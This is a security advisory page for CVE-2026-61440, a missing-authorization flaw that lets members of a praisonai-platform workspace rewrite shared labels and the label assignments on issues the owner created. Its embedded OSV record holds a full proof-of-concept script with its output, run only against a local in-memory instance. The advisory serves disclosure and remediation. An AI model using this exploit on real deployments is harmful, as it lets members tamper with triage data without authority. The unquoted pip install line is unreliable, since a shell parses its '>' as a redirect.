CVE-2026-61440: PraisonAI Platform Members Can Rewrite Shared Vulnerability
MODERATECVE-2026-61440 is a MODERATE (CVSS 6.5) platform members can rewrite shared vulnerability (CWE-862: Missing Authorization) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves platform members can rewrite shared labels and owner issue labels without owner/admin authorization. Remediation is available by upgrading affected packages to version 0.1.9.
CVE-2026-61440 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-61440
To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonai-platform>=0.1.9
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonai-platform
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-61440, inspect your installed packages using pip:
pip show praisonai-platform
Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.9), your application is affected.
Note: The pip show praisonai-platform command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-61440 Affected PraisonAI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonai-platform
|
PyPI |
< 0.1.9
|
0.1.9
|
References
Frequently Asked Questions
What is CVE-2026-61440?
Which PraisonAI versions are affected?
What version fixes CVE-2026-61440?
Is praisonai-platform affected?
What is the CVSS score of CVE-2026-61440?
What CWE is associated with CVE-2026-61440?
How can I check PyPI dependencies for CVE-2026-61440?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xxgv-vgvj-qvxh",
"modified" : "2026-10-08T21:58:28Z",
"published" : "2026-10-08T21:58:27Z",
"aliases" : [ "CVE-2026-61440" ],
"summary" : "PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization",
"details" : "# Platform members can rewrite shared labels and owner issue labels without owner/admin authorization\n\n## Summary\n\n`praisonai-platform` lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases.\n\n## Technical Details\n\nThe affected boundary is the difference between ordinary workspace membership and authority to mutate shared workspace triage taxonomy or owner-created issue workflow state. `src/praisonai-platform/praisonai_platform/api/routes/labels.py` defines `PATCH /workspaces/{workspace_id}/labels/{label_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. The route verifies the label belongs to the URL workspace, then calls `LabelService.update(label_id, body.name, body.color)`, which writes the shared label name/color.\n\nThe paired label delete route shows a stricter intended boundary. `DELETE /workspaces/{workspace_id}/labels/{label_id}` also verifies the label belongs to the URL workspace, but then calls `require_delete_permission(workspace_id, user, session)` before deleting. `require_delete_permission()` allows workspace admins/owners, or a supplied `resource_owner_id`; because labels have no per-label owner passed to the helper, direct label deletion is effectively admin/owner-only. The local controls confirm that a normal member receives `403` for direct label deletion in current head, `0.1.6`, and `0.1.8`.\n\nThe issue-label link routes have the same under-authorized write boundary. `POST /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` and `DELETE /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` require only workspace membership after confirming the issue and label belong to the URL workspace. They then call `LabelService.add_to_issue(issue_id, label_id)` or `LabelService.remove_from_issue(issue_id, label_id)` without checking whether the caller owns the issue or has workspace admin/owner authority.\n\nAs a result, a member who cannot delete a label can still rename/recolor that shared label, remove it from an owner-created issue, and add it back. The non-member controls return `403`, so this is not the older cross-workspace IDOR; it is a same-workspace owner/admin authorization gap that remains after workspace scoping checks.\n\n## PoV\n\nthe PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and an outsider; the owner creates a workspace, adds the member as a plain `member`, creates an owner issue, creates a label, and attaches the label to that issue. The member then attempts the direct label delete control and the three label write actions.\n\nEssential excerpt:\n\n```python\nmember_delete_label = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}\",\n headers=member_headers,\n)\n\nmember_patch_label = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n json={\"name\": \"Member-controlled triage\", \"color\": \"#000000\"},\n headers=member_headers,\n)\n\nmember_remove_from_owner_issue = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=member_headers,\n)\n\nmember_add_back_to_owner_issue = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=member_headers,\n)\n\noutsider_patch_label = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n json={\"name\": \"Outsider attempt\"},\n headers=outsider_headers,\n)\n```\n\nThe full PoV script is included in the appendix below.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17 20:13:04 +0100\nchore: clean up redundant 'persist-credentials' entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --repo ./PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n \"vulnerable\": true,\n \"checks\": {\n \"initial_owner_issue_labels\": [\n \"Owner triage\"\n ],\n \"member_direct_label_delete\": 403,\n \"member_patch_label\": 200,\n \"owner_observed_label_name_after_member_patch\": \"Member-controlled triage\",\n \"owner_observed_label_color_after_member_patch\": \"#000000\",\n \"member_remove_label_from_owner_issue\": 204,\n \"owner_issue_labels_after_member_remove\": [],\n \"member_add_label_to_owner_issue\": 204,\n \"owner_issue_labels_after_member_add\": [\n \"Member-controlled triage\"\n ],\n \"non_member_patch_label\": 403,\n \"non_member_add_label_to_issue\": 403,\n \"owner_delete_label\": 204\n }\n}\n```\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n \"source\": \"pypi:praisonai-platform==0.1.8\",\n \"vulnerable\": true,\n \"checks\": {\n \"member_direct_label_delete\": 403,\n \"member_patch_label\": 200,\n \"member_remove_label_from_owner_issue\": 204,\n \"member_add_label_to_owner_issue\": 204,\n \"non_member_patch_label\": 403,\n \"non_member_add_label_to_issue\": 403\n }\n}\n```\n\nVersion sweep excerpt:\n\n```text\ncurrent git:846568c7a5d8ce9e71e56e4c213f027c04909753: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.8: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.6: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.4: vulnerable=false delete=204 patch=200 remove=204 add=204\n```\n\nThe `0.1.4` result is not a clean negative. It means direct member label deletion still returned `204` in that sampled version, so the narrower post-delete-guard bypass is masked by broader older delete behavior.\n\n## Impact\n\nAn ordinary workspace member can alter shared triage labels and owner issue label assignments without admin/owner authority. In a shared PraisonAI Platform workspace, that lets a member silently change label meaning, remove labels from owner-created issues so they disappear from label-based filters or boards, and re-add arbitrary labels to owner-created issues. The impact is integrity loss over workflow and triage state rather than code execution or data exfiltration.\n\nSuggested severity: Medium. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (6.5). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality or availability impact.\n\n## Suggested Fix\n\nDefine explicit write authorization for labels and issue-label links instead of treating all workspace members as label administrators. A minimal fix is to require workspace admin/owner authority for `PATCH /labels/{label_id}`, `POST /issues/{issue_id}/labels/{label_id}`, and `DELETE /issues/{issue_id}/labels/{label_id}` when the target issue or shared label was not created by the caller.\n\nIf labels are intended to be collaboratively editable by all members, make that policy explicit and align delete/update/link behavior. Otherwise, mirror the direct label delete route's admin/owner boundary for label taxonomy updates and require issue owner/admin authority before mutating labels on an existing issue.\n\nAdd regression tests for these cases: a member cannot rename/recolor a shared label if label management is admin/owner-only; a member cannot remove or add labels on an owner-created issue; a workspace admin/owner can still manage labels; a non-member still receives `403`; and direct label deletion remains protected.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe post-delete-guard label write authorization gap is confirmed in sampled versions `0.1.6`, `0.1.8`, and current head. In sampled `0.1.4`, direct member label deletion already returned `204`, so the narrower post-delete-guard bypass is masked by broader older same-workspace delete behavior.\n\nSuggested affected range for the post-delete-guard bypass: `pypi:praisonai-platform >=0.1.6, <=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include older label endpoint and same-workspace DELETE authorization reports. The closest overlap is the prior DELETE advisory; this report should be read as a remaining sibling/incomplete-fix style authorization gap where direct label deletion is now denied but label PATCH and issue-label link writes still succeed.\n\n`GHSA-5jx9-w35f-vp65` / `CVE-2026-47414`, \"praisonai-platform: Label endpoints' unchecked label_id/issue_id enable cross-workspace label IDOR (edit, delete, link)\", covers cross-workspace label operations in `<=0.1.2` and lists `0.1.4` as patched. This report is distinct because the PoV uses a single workspace, current head verifies the issue and label belong to that workspace, non-members receive `403`, and the unauthorized actor is a legitimate same-workspace member crossing the owner/admin write boundary.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API\", covers same-workspace member DELETE access to projects, agents, issues, labels, issue dependencies, and issue-label attachments. This report overlaps that advisory on the issue-label attachment removal symptom, but the current PoV also shows the direct label DELETE path now returns `403` in current head, `0.1.6`, and `0.1.8` while the sibling label PATCH and issue-label add/remove routes still return `200`/`204`. If maintainers track the remaining issue-label DELETE behavior under `GHSA-rh39-9c67-59mh`, the new material here is the surviving shared-label PATCH authorization gap plus the post-delete-guard add/remove behavior demonstrated against current head and latest PyPI.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers issue create/update accepting a body-supplied foreign `project_id` and polluting another workspace's project statistics. This report is distinct because it does not use cross-workspace body references or project statistics; it uses a legitimate member inside the same workspace to mutate shared label taxonomy and owner issue-label state.\n\n`GHSA-gv23-xrm3-8c62` covers older systemic cross-workspace object lookup and privilege escalation behavior. This report does not require foreign workspace ids or member-role escalation.\n\n`GHSA-xwq8-frcg-77q8` covers older issue endpoint cross-workspace IDOR. This report targets label taxonomy and issue-label association write authorization.\n\n## References\n\n- `https://github.com/advisories/GHSA-5jx9-w35f-vp65`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Full PoV Script\n\nSave this as `pov_platform_label_authorization_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform label authorization gaps.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -> None:\n if repo is None:\n return\n platform_root = repo / \"src\" / \"praisonai-platform\"\n agents_root = repo / \"src\" / \"praisonai-agents\"\n for path in (str(platform_root), str(agents_root)):\n if path not in sys.path:\n sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -> tuple[str, str]:\n response = await client.post(\n \"/api/v1/auth/register\",\n json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n )\n if response.status_code >= 400:\n raise RuntimeError(f\"register failed for {email}: {response.status_code} {response.text}\")\n body = response.json()\n return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _create_issue(\n client: Any,\n workspace_id: str,\n headers: dict[str, str],\n title: str,\n) -> str:\n response = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/\",\n json={\"title\": title, \"priority\": \"high\"},\n headers=headers,\n )\n response.raise_for_status()\n return response.json()[\"id\"]\n\n\nasync def _issue_label_names(\n client: Any,\n workspace_id: str,\n issue_id: str,\n headers: dict[str, str],\n) -> list[str]:\n response = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels\",\n headers=headers,\n )\n response.raise_for_status()\n return [label[\"name\"] for label in response.json()]\n\n\nasync def _run(repo: Path | None) -> dict[str, Any]:\n os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n _load_local_source(repo)\n\n from httpx import ASGITransport, AsyncClient\n from sqlalchemy.ext.asyncio import create_async_engine\n\n from praisonai_platform.api.app import create_app\n from praisonai_platform.db import base as base_mod\n from praisonai_platform.db.base import Base, reset_engine\n\n await reset_engine()\n engine = create_async_engine(\n \"sqlite+aiosqlite:///:memory:\",\n echo=False,\n connect_args={\"check_same_thread\": False},\n )\n base_mod._engine = engine\n base_mod._session_factory = None\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n\n app = create_app()\n transport = ASGITransport(app=app)\n async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n owner_token, _owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n outsider_token, _outsider_id = await _register(\n client, \"outsider@example.com\", \"Outsider\"\n )\n\n owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n ws_resp = await client.post(\n \"/api/v1/workspaces/\",\n json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n headers=owner_headers,\n )\n ws_resp.raise_for_status()\n workspace_id = ws_resp.json()[\"id\"]\n\n add_member = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n json={\"user_id\": member_id, \"role\": \"member\"},\n headers=owner_headers,\n )\n add_member.raise_for_status()\n\n owner_issue_id = await _create_issue(\n client, workspace_id, owner_headers, \"Owner issue\"\n )\n\n label_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/labels\",\n json={\"name\": \"Owner triage\", \"color\": \"#ff0000\"},\n headers=owner_headers,\n )\n label_resp.raise_for_status()\n label_id = label_resp.json()[\"id\"]\n\n owner_delete_control_label_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/labels\",\n json={\"name\": \"Owner delete control\", \"color\": \"#00ff00\"},\n headers=owner_headers,\n )\n owner_delete_control_label_resp.raise_for_status()\n owner_delete_control_label_id = owner_delete_control_label_resp.json()[\"id\"]\n\n member_delete_control_label_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/labels\",\n json={\"name\": \"Member delete control\", \"color\": \"#0000ff\"},\n headers=owner_headers,\n )\n member_delete_control_label_resp.raise_for_status()\n member_delete_control_label_id = member_delete_control_label_resp.json()[\"id\"]\n\n owner_attach = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=owner_headers,\n )\n owner_attach.raise_for_status()\n initial_issue_labels = await _issue_label_names(\n client, workspace_id, owner_issue_id, owner_headers\n )\n\n member_delete_label = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}\",\n headers=member_headers,\n )\n\n member_patch_label = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n json={\"name\": \"Member-controlled triage\", \"color\": \"#000000\"},\n headers=member_headers,\n )\n owner_label_list_after_patch = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/labels\",\n headers=owner_headers,\n )\n\n member_remove_from_owner_issue = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=member_headers,\n )\n labels_after_member_remove = await _issue_label_names(\n client, workspace_id, owner_issue_id, owner_headers\n )\n\n member_add_back_to_owner_issue = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=member_headers,\n )\n labels_after_member_add = await _issue_label_names(\n client, workspace_id, owner_issue_id, owner_headers\n )\n\n outsider_patch_label = await client.patch(\n f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n json={\"name\": \"Outsider attempt\"},\n headers=outsider_headers,\n )\n outsider_add_to_issue = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n headers=outsider_headers,\n )\n\n owner_delete_label = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/labels/{owner_delete_control_label_id}\",\n headers=owner_headers,\n )\n\n await engine.dispose()\n base_mod._engine = None\n base_mod._session_factory = None\n\n owner_labels = (\n owner_label_list_after_patch.json()\n if owner_label_list_after_patch.status_code == 200\n else []\n )\n owner_observed_label = owner_labels[0] if owner_labels else {}\n checks = {\n \"initial_owner_issue_labels\": initial_issue_labels,\n \"member_direct_label_delete\": member_delete_label.status_code,\n \"member_patch_label\": member_patch_label.status_code,\n \"owner_observed_label_name_after_member_patch\": owner_observed_label.get(\"name\"),\n \"owner_observed_label_color_after_member_patch\": owner_observed_label.get(\"color\"),\n \"member_remove_label_from_owner_issue\": member_remove_from_owner_issue.status_code,\n \"owner_issue_labels_after_member_remove\": labels_after_member_remove,\n \"member_add_label_to_owner_issue\": member_add_back_to_owner_issue.status_code,\n \"owner_issue_labels_after_member_add\": labels_after_member_add,\n \"non_member_patch_label\": outsider_patch_label.status_code,\n \"non_member_add_label_to_issue\": outsider_add_to_issue.status_code,\n \"owner_delete_label\": owner_delete_label.status_code,\n }\n vulnerable = (\n checks[\"initial_owner_issue_labels\"] == [\"Owner triage\"]\n and checks[\"member_direct_label_delete\"] == 403\n and checks[\"member_patch_label\"] == 200\n and checks[\"owner_observed_label_name_after_member_patch\"]\n == \"Member-controlled triage\"\n and checks[\"owner_observed_label_color_after_member_patch\"] == \"#000000\"\n and checks[\"member_remove_label_from_owner_issue\"] == 204\n and checks[\"owner_issue_labels_after_member_remove\"] == []\n and checks[\"member_add_label_to_owner_issue\"] == 204\n and checks[\"owner_issue_labels_after_member_add\"] == [\"Member-controlled triage\"]\n and checks[\"non_member_patch_label\"] == 403\n and checks[\"non_member_add_label_to_issue\"] == 403\n and checks[\"owner_delete_label\"] == 204\n )\n return {\n \"package\": \"praisonai-platform\",\n \"source\": _source_id(repo),\n \"workspace_role\": \"member\",\n \"summary\": (\n \"A workspace member can rewrite shared label taxonomy and add/remove labels \"\n \"on an owner-created issue even though direct label deletion is owner/admin-only.\"\n ),\n \"issue_id\": owner_issue_id,\n \"label_id\": label_id,\n \"checks\": checks,\n \"vulnerable\": vulnerable,\n }\n\n\ndef _source_id(repo: Path | None) -> str:\n if repo is None:\n import importlib.metadata\n\n return f\"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}\"\n rev = subprocess.check_output(\n [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n text=True,\n ).strip()\n return f\"git:{rev}\"\n\n\ndef main() -> int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--repo\", type=Path)\n parser.add_argument(\"--json\", action=\"store_true\")\n args = parser.parse_args()\n\n result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n if args.json:\n print(json.dumps(result, indent=2, sort_keys=True))\n else:\n for key, value in result[\"checks\"].items():\n print(f\"{key}: {value}\")\n print(f\"vulnerable: {result['vulnerable']}\")\n return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonai-platform"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.1.9"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.1.8"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xxgv-vgvj-qvxh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61440"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-62180"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-label-endpoints"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-862", "CWE-863" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-08T21:58:27Z",
"nvd_published_at" : "2026-07-15T17:16:52Z"
}
}